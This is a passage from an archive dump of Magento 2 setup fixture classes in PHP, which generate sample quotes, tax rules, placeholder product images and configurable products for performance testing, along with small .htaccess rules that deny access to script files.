$resourceName) { /** @var \Magento\Framework\Model\ResourceModel\Db\AbstractDb $resource */ $resource = $this->fixtureModel->getObjectManager()->get($resourceName); return $this->getConnection($resourceName)->getTableName($resource->getTable($tableName)); } /** * Get connection to database for specified resource. * * @param string $resourceName * @return \Magento\Framework\DB\Adapter\AdapterInterface */ private function getConnection($resourceName) { $resource = $this->fixtureModel->getObjectManager()->get($resourceName); return $resource->getConnection(); } } Magento/Setup/Fixtures/Quote/QuoteGeneratorFactory.php000077700000002252151323623130017160 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Fixtures\Quote; /** * Factory class for @see \Magento\Setup\Fixtures\Quote\Configuration. */ class QuoteGeneratorFactory { /** * Object Manager instance. * * @var \Magento\Framework\ObjectManagerInterface */ private $objectManager = null; /** * Instance name to create. * * @var string */ private $instanceName = null; /** * @param \Magento\Framework\ObjectManagerInterface $objectManager * @param string $instanceName [optional] */ public function __construct( \Magento\Framework\ObjectManagerInterface $objectManager, $instanceName = \Magento\Setup\Fixtures\Quote\QuoteGenerator::class ) { $this->objectManager = $objectManager; $this->instanceName = $instanceName; } /** * Create class instance with specified parameters. * * @param array $data [optional] * @return mixed */ public function create(array $data = []) { return $this->objectManager->create($this->instanceName, $data); } } Magento/Setup/Fixtures/Quote/QuoteConfiguration.php000077700000007165151323623130016521 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Fixtures\Quote; use Magento\Setup\Fixtures\FixtureModel; /** * Configuration for generating quotes for orders. */ class QuoteConfiguration extends \Magento\Framework\DataObject { /** * Product type for "big" configurable products. * * @var string */ const BIG_CONFIGURABLE_TYPE = 'big_configurable'; /** * Default value for minimum items (simple) per order configuration. * * @var int */ const SIMPLE_PRODUCT_COUNT_FROM = 2; /** * Default value for maximum items (simple) per order configuration. * * @var int */ const SIMPLE_PRODUCT_COUNT_TO = 2; /** * Default value for minimum items (configurable) per order configuration. * * @var int */ const CONFIGURABLE_PRODUCT_COUNT_FROM = 0; /** * Default value for maximum items (configurable) per order configuration. * * @var int */ const CONFIGURABLE_PRODUCT_COUNT_TO = 0; /** * Default value for minimum items (big configurable) per order configuration. * * @var int */ const BIG_CONFIGURABLE_PRODUCT_COUNT_FROM = 0; /** * Default value for maximum items (big configurable) per order configuration. * * @var int */ const BIG_CONFIGURABLE_PRODUCT_COUNT_TO = 0; /** * Mappings for number of different types of products in quote. * * @var array */ protected $_globalMap = [ 'order_simple_product_count_to' => 'simple_count_to', 'order_simple_product_count_from' => 'simple_count_from', 'order_configurable_product_count_to' => 'configurable_count_to', 'order_configurable_product_count_from' => 'configurable_count_from', 'order_big_configurable_product_count_to' => 'big_configurable_count_to', 'order_big_configurable_product_count_from' => 'big_configurable_count_from', 'order_quotes_enable' => 'order_quotes_enable', ]; /** * @var string */ protected $fixtureDataFilename = 'orders_fixture_data.json'; /** * @var FixtureModel */ private $fixtureModel; /** * @param FixtureModel $fixtureModel */ public function __construct(FixtureModel $fixtureModel) { $this->fixtureModel = $fixtureModel; } /** * Fills object with data. * * @return $this */ public function load() { $this->addData([ 'simple_count_to' => self::SIMPLE_PRODUCT_COUNT_TO, 'simple_count_from' => self::SIMPLE_PRODUCT_COUNT_FROM, 'configurable_count_to' => self::CONFIGURABLE_PRODUCT_COUNT_TO, 'configurable_count_from' => self::CONFIGURABLE_PRODUCT_COUNT_FROM, 'big_configurable_count_to' => self::BIG_CONFIGURABLE_PRODUCT_COUNT_TO, 'big_configurable_count_from' => self::BIG_CONFIGURABLE_PRODUCT_COUNT_FROM, ]); $this->setData( 'fixture_data_filename', dirname(__DIR__) . DIRECTORY_SEPARATOR . "_files" . DIRECTORY_SEPARATOR . $this->fixtureDataFilename ); $this->accumulateData(); return $this; } /** * Accumulate data from fixute model to object values. * * @return $this */ private function accumulateData() { foreach ($this->_globalMap as $getKey => $setKey) { $value = $this->fixtureModel->getValue($getKey); if (null !== $value) { $this->setData($setKey, $value); } } return $this; } } Magento/Setup/Fixtures/Quote/.htaccess000077700000000177151323623130013755 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Fixtures/IndexersStatesApplyFixture.php000077700000002646151323623130017120 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Fixtures; /** * Class IndexersStatesApplyFixture */ class IndexersStatesApplyFixture extends Fixture { /** * @var int */ protected $priority = -1; /** * {@inheritdoc} */ public function execute() { $indexers = $this->fixtureModel->getValue('indexers', []); if (!isset($indexers["indexer"]) || empty($indexers["indexer"])) { return; } $this->fixtureModel->resetObjectManager(); /** @var $indexerRegistry \Magento\Framework\Indexer\IndexerRegistry */ $indexerRegistry = $this->fixtureModel->getObjectManager() ->create(\Magento\Framework\Indexer\IndexerRegistry::class); foreach ($indexers["indexer"] as $indexerConfig) { $indexer = $indexerRegistry->get($indexerConfig['id']); $indexer->setScheduled($indexerConfig['set_scheduled'] == "true"); } $this->fixtureModel->getObjectManager()->get(\Magento\Framework\App\CacheInterface::class) ->clean([\Magento\Framework\App\Config::CACHE_TAG]); } /** * {@inheritdoc} */ public function getActionTitle() { return 'Indexers Mode Changes'; } /** * {@inheritdoc} */ public function introduceParamLabels() { return []; } } Magento/Setup/Fixtures/ImagesGenerator/ImagesGenerator.php000077700000005610151323623130017720 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Fixtures\ImagesGenerator; use Magento\Framework\App\Filesystem\DirectoryList; /** * Create image with passed config and put it to media tmp folder */ class ImagesGenerator { /** * @var \Magento\Framework\Filesystem */ private $filesystem; /** * @var \Magento\Catalog\Model\Product\Media\Config */ private $mediaConfig; /** * @param \Magento\Framework\Filesystem $filesystem * @param \Magento\Catalog\Model\Product\Media\Config $mediaConfig */ public function __construct( \Magento\Framework\Filesystem $filesystem, \Magento\Catalog\Model\Product\Media\Config $mediaConfig ) { $this->filesystem = $filesystem; $this->mediaConfig = $mediaConfig; } /** * Generates image from $data and puts its to /tmp folder * @param array $config * @return string $imagePath * @throws \Exception */ public function generate($config) { // phpcs:disable Magento2.Functions.DiscouragedFunction $binaryData = ''; $data = str_split(sha1($config['image-name']), 2); foreach ($data as $item) { $binaryData .= base_convert($item, 16, 2); } $binaryData = str_split($binaryData, 1); $image = imagecreate($config['image-width'], $config['image-height']); $bgColor = imagecolorallocate($image, 240, 240, 240); $fgColor = imagecolorallocate($image, mt_rand(0, 230), mt_rand(0, 230), mt_rand(0, 230)); $colors = [$fgColor, $bgColor]; imagefilledrectangle($image, 0, 0, $config['image-width'], $config['image-height'], $bgColor); for ($row = 10; $row < ($config['image-height'] - 10); $row += 10) { for ($col = 10; $col < ($config['image-width'] - 10); $col += 10) { if (next($binaryData) === false) { reset($binaryData); } imagefilledrectangle($image, $row, $col, $row + 10, $col + 10, $colors[current($binaryData)]); } } $mediaDirectory = $this->filesystem->getDirectoryWrite(DirectoryList::MEDIA); $relativePathToMedia = $mediaDirectory->getRelativePath($this->mediaConfig->getBaseTmpMediaPath()); $mediaDirectory->create($relativePathToMedia); $imagePath = $relativePathToMedia . DIRECTORY_SEPARATOR . $config['image-name']; $imagePath = preg_replace('|/{2,}|', '/', $imagePath); $memory = fopen('php://memory', 'r+'); if(!imagejpeg($image, $memory)) { throw new \Exception('Could not create picture ' . $imagePath); } $mediaDirectory->writeFile($imagePath, stream_get_contents($memory, -1, 0)); fclose($memory); imagedestroy($image); // phpcs:enable return $imagePath; } } Magento/Setup/Fixtures/ImagesGenerator/.htaccess000077700000000177151323623130015734 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Fixtures/TaxRulesFixture.php000077700000016205151323623130014710 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Fixtures; use Magento\Config\Model\Config\Backend\Admin\Custom; use Magento\Framework\App\Config\Storage\Writer as ConfigWriter; use Magento\Tax\Api\Data\TaxRateInterface; use Magento\Tax\Api\Data\TaxRateInterfaceFactory; use Magento\Tax\Api\Data\TaxRuleInterface; use Magento\Tax\Api\Data\TaxRuleInterfaceFactory; use Magento\Tax\Api\TaxRateRepositoryInterface; use Magento\Tax\Api\TaxRuleRepositoryInterface; use Magento\Tax\Model\Config; use Magento\Tax\Model\ResourceModel\Calculation\Rate\CollectionFactory; /** * Tax rules fixture generator * Tax Config Settings setter for different Tax Modes (for example VAT) * * @SuppressWarnings(PHPMD.CouplingBetweenObjects) */ class TaxRulesFixture extends Fixture { const DEFAULT_CUSTOMER_TAX_CLASS_ID = 3; const DEFAULT_PRODUCT_TAX_CLASS_ID = 2; const DEFAULT_TAX_MODE = 'VAT'; const DEFAULT_TAX_RATE = 5; const DEFAULT_TAX_COUNTRY = 'US'; /** * @var array config paths and values for tax modes */ private $configs = [ 'VAT' => [ Config::CONFIG_XML_PATH_SHIPPING_INCLUDES_TAX => 1, Config::CONFIG_XML_PATH_PRICE_INCLUDES_TAX => 1, Config::CONFIG_XML_PATH_APPLY_AFTER_DISCOUNT => 1, Config::XML_PATH_DISPLAY_SALES_PRICE => Config::DISPLAY_TYPE_INCLUDING_TAX, Config::XML_PATH_DISPLAY_SALES_SUBTOTAL => Config::DISPLAY_TYPE_INCLUDING_TAX, Config::XML_PATH_DISPLAY_SALES_SHIPPING => Config::DISPLAY_TYPE_INCLUDING_TAX, Config::XML_PATH_DISPLAY_SALES_DISCOUNT => Config::DISPLAY_TYPE_INCLUDING_TAX, Config::XML_PATH_DISPLAY_SALES_GRANDTOTAL => Config::DISPLAY_TYPE_INCLUDING_TAX, Config::XML_PATH_DISPLAY_SALES_FULL_SUMMARY => Config::DISPLAY_TYPE_INCLUDING_TAX, Config::CONFIG_XML_PATH_DISPLAY_SHIPPING => Config::DISPLAY_TYPE_INCLUDING_TAX, Config::CONFIG_XML_PATH_PRICE_DISPLAY_TYPE => Config::DISPLAY_TYPE_INCLUDING_TAX, Config::XML_PATH_DISPLAY_CART_PRICE => Config::DISPLAY_TYPE_INCLUDING_TAX, Config::XML_PATH_DISPLAY_CART_SUBTOTAL => Config::DISPLAY_TYPE_INCLUDING_TAX, Config::XML_PATH_DISPLAY_CART_SHIPPING => Config::DISPLAY_TYPE_INCLUDING_TAX, Custom::XML_PATH_TAX_WEEE_ENABLE => 1, ] ]; /** * @var int */ protected $priority = 101; /** * @var TaxRuleRepositoryInterface */ private $taxRuleRepository; /** * @var TaxRuleInterfaceFactory */ private $taxRuleFactory; /** * @var TaxRateInterfaceFactory */ private $taxRateFactory; /** * @var CollectionFactory */ private $taxRateCollectionFactory; /** * @var TaxRateRepositoryInterface */ private $taxRateRepository; /** * @var ConfigWriter */ private $configWriter; /** * @param FixtureModel $fixtureModel * @param TaxRuleRepositoryInterface $taxRuleRepository * @param TaxRuleInterfaceFactory $taxRuleFactory * @param CollectionFactory $taxRateCollectionFactory * @param TaxRateInterfaceFactory $taxRateFactory * @param TaxRateRepositoryInterface $taxRateRepository * @param ConfigWriter $configWriter */ public function __construct( FixtureModel $fixtureModel, TaxRuleRepositoryInterface $taxRuleRepository, TaxRuleInterfaceFactory $taxRuleFactory, CollectionFactory $taxRateCollectionFactory, TaxRateInterfaceFactory $taxRateFactory, TaxRateRepositoryInterface $taxRateRepository, ConfigWriter $configWriter ) { parent::__construct($fixtureModel); $this->taxRuleRepository = $taxRuleRepository; $this->taxRuleFactory = $taxRuleFactory; $this->taxRateCollectionFactory = $taxRateCollectionFactory; $this->taxRateFactory = $taxRateFactory; $this->taxRateRepository = $taxRateRepository; $this->configWriter = $configWriter; } /** * {@inheritdoc} */ public function execute() { //Getting config values $taxMode = $this->fixtureModel->getValue('tax_mode', null); $taxRules = $this->fixtureModel->getValue('tax_rules', 0); if ($taxMode && in_array($taxMode, array_keys($this->configs))) { $this->setTaxMode($taxMode); } $taxRateIds = $this->taxRateCollectionFactory->create()->getAllIds(); $taxRatesCount = count($taxRateIds); while ($taxRules) { /** @var $taxRuleDataObject TaxRuleInterface */ $taxRuleDataObject = $this->taxRuleFactory->create(); $taxRuleDataObject->setCode('Tax_Rule_' . $taxRules) ->setTaxRateIds([$taxRateIds[$taxRules % $taxRatesCount]]) ->setCustomerTaxClassIds([self::DEFAULT_CUSTOMER_TAX_CLASS_ID]) ->setProductTaxClassIds([self::DEFAULT_PRODUCT_TAX_CLASS_ID]) ->setPriority(0) ->setPosition(0); $this->taxRuleRepository->save($taxRuleDataObject); $taxRules--; } } /** * Adding appropriate Tax Rate, Tax Rule and Config Settings for selected Tax Mode (for example EU/VAT) * * @param string $taxMode * @return void */ private function setTaxMode($taxMode) { //Add Tax Rate for selected Tax Mode /** @var $taxRate TaxRateInterface */ $taxRate = $this->taxRateFactory->create(); $taxRate->setCode($taxMode) ->setRate(self::DEFAULT_TAX_RATE) ->setTaxCountryId(self::DEFAULT_TAX_COUNTRY) ->setTaxPostcode('*'); $taxRateData = $this->taxRateRepository->save($taxRate); //Add Tax Rule for Tax Mode /** @var $taxRuleDataObject TaxRuleInterface */ $taxRuleDataObject = $this->taxRuleFactory->create(); $taxRuleDataObject->setCode($taxMode) ->setTaxRateIds([$taxRateData->getId()]) ->setCustomerTaxClassIds([self::DEFAULT_CUSTOMER_TAX_CLASS_ID]) ->setProductTaxClassIds([self::DEFAULT_PRODUCT_TAX_CLASS_ID]) ->setPriority(0) ->setPosition(0); $this->taxRuleRepository->save($taxRuleDataObject); //Set Tax Mode configs $this->setConfigByTaxMode($taxMode); } /** * Set appropriate Tax Config Settings for selected Tax Mode * * @param string $mode * @return void */ private function setConfigByTaxMode($mode = self::DEFAULT_TAX_MODE) { if (isset($this->configs[$mode]) && is_array($this->configs[$mode])) { foreach ($this->configs[$mode] as $configPath => $value) { $this->configWriter->save( $configPath, $value ); } } } /** * {@inheritdoc} */ public function getActionTitle() { return 'Generating tax rules'; } /** * {@inheritdoc} */ public function introduceParamLabels() { return [ 'tax_rules' => 'Tax Rules Count', 'tax_mode' => 'Tax Mode', ]; } } Magento/Setup/Fixtures/ConfigurableProductsFixture.php000077700000103213151323623130017261 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Fixtures; use Magento\Catalog\Model\Product; use Magento\Catalog\Model\Product\Visibility; use Magento\Catalog\Model\ResourceModel\Product\CollectionFactory as ProductCollectionFactory; use Magento\ConfigurableProduct\Model\Product\Type\Configurable; use Magento\Eav\Model\Entity\Attribute; use Magento\Eav\Model\ResourceModel\Entity\Attribute\CollectionFactory; use Magento\Framework\Exception\ValidatorException; use Magento\Setup\Model\DataGenerator; use Magento\Setup\Model\FixtureGenerator\ConfigurableProductGenerator; use Magento\Setup\Model\FixtureGenerator\ProductGenerator; use Symfony\Component\Console\Output\OutputInterface; /** * Generate configurable products based on profile configuration * Generated configurable options are not displayed individually in catalog * Support one of two formats: * 1. Distributed per Default and pre-defined attribute sets (@see setup/performance-toolkit/config/attributeSets.xml) * <configurable_products>{products amount}</configurable_products> * * 2.1 Generate products based on existing attribute set: * <configurable_products> * <config> * <attributeSet>{Existing attribute set name}</attributeSet> * <sku>{Configurable sku pattern with %s}</sku> * <products>{Amount of configurable products}</products> * <category>[{Category Name}]</category> By default category name from CategoriesFixture will be used * <swatches>color|image</swatches> Type of Swatch attribute * </config> * </configurable_products> * * 2.2 Generate products based on dynamically created attribute set with specified amount of attributes and options * <configurable_products> * <config> * <attributes>{Amount of attributes in configurable product}</attributes> * <options>{Amount of options per attribute}</options> * <sku>{Configurable sku pattern with %s}</sku> * <products>{Amount of configurable products}</products> * <category>[{Category Name}]</category> By default category name from CategoriesFixture will be used * <swatches>color|image</swatches> Type of Swatch attribute * </config> * </configurable_products> * * 2.3 Generate products based on dynamically created attribute set with specified configuration per each attribute * <configurable_products> <!-- Configurable product --> * <config> * <attributes> * <!-- Configuration for a first attribute --> * <attribute> * <options>{Amount of options per attribute}</options> * <swatches>color|image</swatches> Type of Swatch attribute * </attribute> * <!-- Configuration for a second attribute --> * <attribute> * <options>{Amount of options per attribute}</options> * </attribute> * </attributes> * <sku>{Configurable sku pattern with %s}</sku> * <products>{Amount of configurable products}</products> * </config> * </configurable_products> * * Products will be uniformly distributed per categories and websites * If node "assign_entities_to_all_websites" from profile is set to "1" then products will be assigned to all websites * * @see setup/performance-toolkit/profiles/ce/small.xml * @SuppressWarnings(PHPMD.CouplingBetweenObjects) * @SuppressWarnings(PHPMD.TooManyFields) */ class ConfigurableProductsFixture extends Fixture { /** * @var int */ protected $priority = 50; /** * @var array */ private $searchConfig; /** * @var DataGenerator */ private $dataGenerator; /** * @var AttributeSet\AttributeSetFixture */ private $attributeSetsFixture; /** * @var AttributeSet\Pattern */ private $attributePattern; /** * @var ProductGenerator */ private $productGenerator; /** * @var CollectionFactory */ private $attributeCollectionFactory; /** * @var ConfigurableProductGenerator */ private $configurableProductGenerator; /** * @var ProductCollectionFactory */ private $productCollectionFactory; /** * @var int */ private $productStartIndex; /** * @var ProductsAmountProvider */ private $productsAmountProvider; /** * @var CategoryResolver */ private $categoryResolver; /** * @var WebsiteCategoryProvider */ private $websiteCategoryProvider; /** * @var PriceProvider */ private $priceProvider; /** * @var \Magento\Setup\Fixtures\AttributeSet\SwatchesGenerator */ private $swatchesGenerator; /** * @var \Magento\Framework\Serialize\SerializerInterface */ private $serializer; /** * @param FixtureModel $fixtureModel * @param AttributeSet\AttributeSetFixture $attributeSetsFixture * @param AttributeSet\Pattern $attributePattern * @param ProductGenerator $productGenerator * @param CollectionFactory $attributeCollectionFactory * @param ConfigurableProductGenerator $configurableProductGenerator * @param ProductCollectionFactory $collectionFactory * @param ProductsAmountProvider $productsAmountProvider * @param CategoryResolver $categoryResolver * @param WebsiteCategoryProvider $websiteCategoryProvider * @param PriceProvider $priceProvider * @param AttributeSet\SwatchesGenerator $swatchesGenerator * @param \Magento\Framework\Serialize\SerializerInterface $serializer * @SuppressWarnings(PHPMD.ExcessiveParameterList) */ public function __construct( FixtureModel $fixtureModel, \Magento\Setup\Fixtures\AttributeSet\AttributeSetFixture $attributeSetsFixture, \Magento\Setup\Fixtures\AttributeSet\Pattern $attributePattern, ProductGenerator $productGenerator, CollectionFactory $attributeCollectionFactory, ConfigurableProductGenerator $configurableProductGenerator, ProductCollectionFactory $collectionFactory, ProductsAmountProvider $productsAmountProvider, CategoryResolver $categoryResolver, WebsiteCategoryProvider $websiteCategoryProvider, PriceProvider $priceProvider, \Magento\Setup\Fixtures\AttributeSet\SwatchesGenerator $swatchesGenerator, \Magento\Framework\Serialize\SerializerInterface $serializer ) { parent::__construct($fixtureModel); $this->attributeSetsFixture = $attributeSetsFixture; $this->attributePattern = $attributePattern; $this->productGenerator = $productGenerator; $this->attributeCollectionFactory = $attributeCollectionFactory; $this->configurableProductGenerator = $configurableProductGenerator; $this->productCollectionFactory = $collectionFactory; $this->productsAmountProvider = $productsAmountProvider; $this->categoryResolver = $categoryResolver; $this->websiteCategoryProvider = $websiteCategoryProvider; $this->priceProvider = $priceProvider; $this->swatchesGenerator = $swatchesGenerator; $this->serializer = $serializer; } /** * @inheritdoc * * @SuppressWarnings(PHPMD) */ public function execute() { if (!$this->fixtureModel->getValue('configurable_products', [])) { return; } $simpleProductsCount = $this->fixtureModel->getValue('simple_products', 0); $maxAmountOfWordsDescription = $this->getSearchConfigValue('max_amount_of_words_description'); $maxAmountOfWordsShortDescription = $this->getSearchConfigValue('max_amount_of_words_short_description'); $minAmountOfWordsDescription = $this->getSearchConfigValue('min_amount_of_words_description'); $minAmountOfWordsShortDescription = $this->getSearchConfigValue('min_amount_of_words_short_description'); foreach ($this->getConfigurableProductConfig() as $configurableConfig) { $configurableSku = $configurableConfig['sku']; $productAmount = $this->productsAmountProvider->getAmount( $configurableConfig['products'], $configurableSku ); if (!$productAmount) { continue; } $searchTerms = $this->getSearchTerms(); $shortDescriptionClosure = $this->getDescriptionClosure( $searchTerms, $simpleProductsCount, $productAmount, $maxAmountOfWordsShortDescription, $minAmountOfWordsShortDescription, 'shortDescription' ); $descriptionClosure = $this->getDescriptionClosure( $searchTerms, $simpleProductsCount, $productAmount, $maxAmountOfWordsDescription, $minAmountOfWordsDescription, 'description' ); $variationCount = $configurableConfig['variationCount']; $attributeSet = $configurableConfig['attributeSet']; $variationSkuClosure = function ($productId, $entityNumber) use ($configurableSku, $variationCount) { $variationIndex = $this->getConfigurableVariationIndex($entityNumber, $variationCount); $productId = $this->getConfigurableProductIndex($entityNumber, $variationCount); return sprintf($this->getConfigurableOptionSkuPattern($configurableSku), $productId, $variationIndex); }; $fixture = [ 'name' => $variationSkuClosure, 'sku' => $variationSkuClosure, 'price' => function ($index, $entityNumber) { return $this->priceProvider->getPrice($entityNumber); }, 'website_ids' => function ($index, $entityNumber) use ($variationCount) { $configurableIndex = $this->getConfigurableProductIndex($entityNumber, $variationCount); return $this->websiteCategoryProvider->getWebsiteIds($configurableIndex); }, 'attribute_set_id' => $attributeSet['id'], 'additional_attributes' => $this->getAdditionalAttributesClosure( $attributeSet['attributes'], $variationCount ), 'visibility' => Visibility::VISIBILITY_NOT_VISIBLE, ]; $this->productGenerator->generate($productAmount * $variationCount, $fixture); $skuClosure = function ($productId, $entityNumber) use ($configurableSku) { return sprintf($configurableSku, $entityNumber + $this->getNewProductStartIndex()); }; $fixture = [ '_variation_sku_pattern' => $this->getFirstVariationSkuPattern($configurableConfig), '_attributes_count' => count($attributeSet['attributes']), '_variation_count' => $variationCount, '_attributes' => $attributeSet['attributes'], 'type_id' => Configurable::TYPE_CODE, 'name' => $skuClosure, 'sku' => $skuClosure, 'description' => $descriptionClosure, 'short_description' => $shortDescriptionClosure, 'attribute_set_id' => $attributeSet['id'], 'website_ids' => $this->getConfigurableWebsiteIdsClosure(), 'category_ids' => $configurableConfig['category'], 'meta_keyword' => $skuClosure, 'meta_title' => $skuClosure, ]; $this->configurableProductGenerator->generate($productAmount, $fixture); } } /** * Get the closure to return the website IDs. * * @return \Closure * @SuppressWarnings(PHPMD.UnusedLocalVariable) */ private function getConfigurableWebsiteIdsClosure() { return function ($index, $entityNumber) { return $this->websiteCategoryProvider->getWebsiteIds($entityNumber + $this->getNewProductStartIndex()); }; } /** * Get product distribution per attribute sets for default attribute sets * * @param array $defaultAttributeSets * @param int $configurableProductsCount * @return array */ private function getDefaultAttributeSetsConfig(array $defaultAttributeSets, $configurableProductsCount) { $attributeSetClosure = function ($index) use ($defaultAttributeSets) { $attributeSetAmount = count(array_keys($defaultAttributeSets)); // phpcs:ignore mt_srand($index); // phpcs:ignore Magento2.Functions.DiscouragedFunction return $attributeSetAmount > ($index - 1) % (int)$this->fixtureModel->getValue('categories', 30) ? array_keys($defaultAttributeSets)[mt_rand(0, $attributeSetAmount - 1)] : 'Default'; }; $productsPerSet = []; for ($i = 1; $i <= $configurableProductsCount; $i++) { $attributeSet = $attributeSetClosure($i); if (!isset($productsPerSet[$attributeSet])) { $productsPerSet[$attributeSet] = 0; } $productsPerSet[$attributeSet]++; } $configurableConfig = []; foreach ($defaultAttributeSets as $attributeSetName => $attributeSet) { $skuSuffix = $attributeSetName === 'Default' ? '' : ' - ' . $attributeSetName; $configurableConfig[] = [ 'attributeSet' => $attributeSetName, 'products' => $productsPerSet[$attributeSetName], 'sku' => 'Configurable Product %s' . $skuSuffix, ]; } return $configurableConfig; } /** * Get sku pattern in format "{configurable-sku}{configurable-index}-option 1" for get associated product ids * * @param array $configurableConfig * @see \Magento\Setup\Model\FixtureGenerator\ConfigurableProductTemplateGenerator * @return string */ private function getFirstVariationSkuPattern($configurableConfig) { $productIndex = $this->getConfigurableProductIndex(0, $configurableConfig['variationCount']); return sprintf($this->getConfigurableOptionSkuPattern($configurableConfig['sku']), $productIndex, 1); } /** * Get start product index which used in product name, sku, url generation * * @return int */ private function getNewProductStartIndex() { if (null === $this->productStartIndex) { $this->productStartIndex = $this->productCollectionFactory->create() ->addFieldToFilter('type_id', Configurable::TYPE_CODE) ->getSize() + 1; } return $this->productStartIndex; } /** * Get configurable product index number * * @param int $entityNumber * @param int $variationCount * @return float */ private function getConfigurableProductIndex($entityNumber, $variationCount) { return floor($entityNumber / $variationCount) + $this->getNewProductStartIndex(); } /** * Get configurable variation index number * * @param int $entityNumber * @param int $variationCount * @return float */ private function getConfigurableVariationIndex($entityNumber, $variationCount) { return $entityNumber % $variationCount + 1; } /** * @inheritdoc */ public function getActionTitle() { return 'Generating configurable products'; } /** * @inheritdoc */ public function introduceParamLabels() { return []; } /** * @inheritdoc * * @param OutputInterface $output * @return void * @throws ValidatorException */ public function printInfo(OutputInterface $output) { if (!$this->fixtureModel->getValue('configurable_products', [])) { return; } $configurableProductConfig = $this->prepareConfigurableConfig( $this->getDefaultAttributeSetsWithAttributes() ); $generalAmount = array_sum(array_column($configurableProductConfig, 'products')); $output->writeln(sprintf('<info> |- Configurable products: %s</info>', $generalAmount)); } /** * Get default attribute sets with attributes. * * @see config/attributeSets.xml * * @return array */ private function getDefaultAttributeSetsWithAttributes() { $attributeSets = $this->fixtureModel->getValue('attribute_sets', null); $attributeSetData = []; if ($attributeSets !== null && array_key_exists('attribute_set', $attributeSets)) { foreach ($attributeSets['attribute_set'] as $attributeSet) { $attributesData = array_key_exists(0, $attributeSet['attributes']['attribute']) ? $attributeSet['attributes']['attribute'] : [$attributeSet['attributes']['attribute']]; $attributes = []; foreach ($attributesData as $attributeData) { $values = []; $optionsData = array_key_exists(0, $attributeData['options']['option']) ? $attributeData['options']['option'] : [$attributeData['options']['option']]; foreach ($optionsData as $optionData) { $values[] = $optionData['label']; } $attributes[] = ['name' => $attributeData['attribute_code'], 'values' => $values]; } $attributeSetData[$attributeSet['name']] = [ 'name' => $attributeSet['name'], 'attributes' => $attributes ]; } } $attributeOptions = range(1, $this->getConfigurableProductsVariationsValue()); array_walk( $attributeOptions, function (&$item, $key) { $item = 'option ' . ($key + 1); } ); $attributeSetData['Default'] = [ 'name' => 'Default', 'attributes' => [ [ 'name' => 'configurable_variation', 'values' => $attributeOptions ] ] ]; return $attributeSetData; } /** * Get configurable product configuration for generate products per attribute set * * @return array * @throws ValidatorException * @SuppressWarnings(PHPMD.CyclomaticComplexity) */ private function getConfigurableProductConfig() { $defaultAttributeSets = $this->getDefaultAttributeSetsWithAttributes(); $configurableProductConfig = $this->prepareConfigurableConfig($defaultAttributeSets); $configurableProductConfig = array_map(function ($config) { return array_merge( [ 'attributeSet' => null, 'attributes' => null, 'options' => null, 'sku' => null, 'category' => null, 'swatches' => null, ], $config ); }, $configurableProductConfig); $skuPull = []; foreach ($configurableProductConfig as $i => &$config) { $attributeSet = $config['attributeSet']; $attributes = $config['attributes']; $options = (int)$config['options']; if ($attributeSet && isset($defaultAttributeSets[$attributeSet])) { // process default attribute sets $attributeSet = $defaultAttributeSets[$attributeSet]; $attributes = count($attributeSet['attributes']); $options = count($attributeSet['attributes'][0]['values']); } elseif (is_array($attributes)) { $attributeSet = $this->getCustomAttributeSet($attributes); $options = array_column($attributes, 'options'); $attributes = count($attributes); } elseif ($attributes && $options) { $attributes = (int)$attributes; // convert attributes and options to array for process custom attribute set creation $attributesData = array_map(function ($options) use ($config) { return ['options' => $options, 'swatches' => $config['swatches']]; }, array_fill(0, $attributes, $options)); $attributeSet = $this->getCustomAttributeSet($attributesData); } // do not process if any required option is missed if (count(array_filter([$attributeSet, $attributes, $options])) !== 3) { unset($configurableProductConfig[$i]); continue; } $config['sku'] = $this->getConfigurableSkuPattern($config, $attributeSet['name']); $config['category'] = $this->getConfigurableCategory($config); $config['attributeSet'] = $this->convertAttributesToDBFormat($attributeSet); $config['attributes'] = $attributes; $config['options'] = $options; $config['variationCount'] = is_array($options) ? array_product($options) : pow($options, $attributes); $skuPull[] = $config['sku']; } if (count($skuPull) !== count(array_unique($skuPull))) { throw new ValidatorException( __("The configurable product's SKU pattern must be unique in an attribute set.") ); } return $configurableProductConfig; } /** * Prepare configuration. * * If amount of configurable products set in profile then return predefined attribute sets * else return configuration from profile. * * @param array $defaultAttributeSets * @return array * @throws ValidatorException */ private function prepareConfigurableConfig($defaultAttributeSets) { $configurableConfigs = $this->fixtureModel->getValue('configurable_products', []); $configurableConfigs = is_array($configurableConfigs) ? $configurableConfigs : (int)$configurableConfigs; if (is_int($configurableConfigs)) { $configurableConfigs = $this->getDefaultAttributeSetsConfig($defaultAttributeSets, $configurableConfigs); } elseif (isset($configurableConfigs['config'])) { if (!isset($configurableConfigs['config'][0])) { // in case when one variation is passed $configurableConfigs = [$configurableConfigs['config']]; } else { $configurableConfigs = $configurableConfigs['config']; } foreach ($configurableConfigs as &$config) { if (isset($config['attributes']) && is_array($config['attributes'])) { if (!isset($config['attributes']['attribute'][0])) { $config['attributes'] = [$config['attributes']['attribute']]; } else { $config['attributes'] = $config['attributes']['attribute']; } } } } else { throw new ValidatorException( __('The configurable product config is invalid. Verify the product and try again.') ); } return $configurableConfigs; } /** * Get closure to return configurable category. * * @param array $config * @return \Closure */ private function getConfigurableCategory($config) { if (isset($config['category'])) { return function ($index, $entityNumber) use ($config) { $websiteClosure = $this->getConfigurableWebsiteIdsClosure(); $websites = $websiteClosure($index, $entityNumber); return $this->categoryResolver->getCategory( array_shift($websites), $config['category'] ); }; } else { return function ($index, $entityNumber) { return $this->websiteCategoryProvider->getCategoryId($entityNumber); }; } } /** * Get sku pattern. * * @param array $config * @param string $attributeSetName * @return string */ 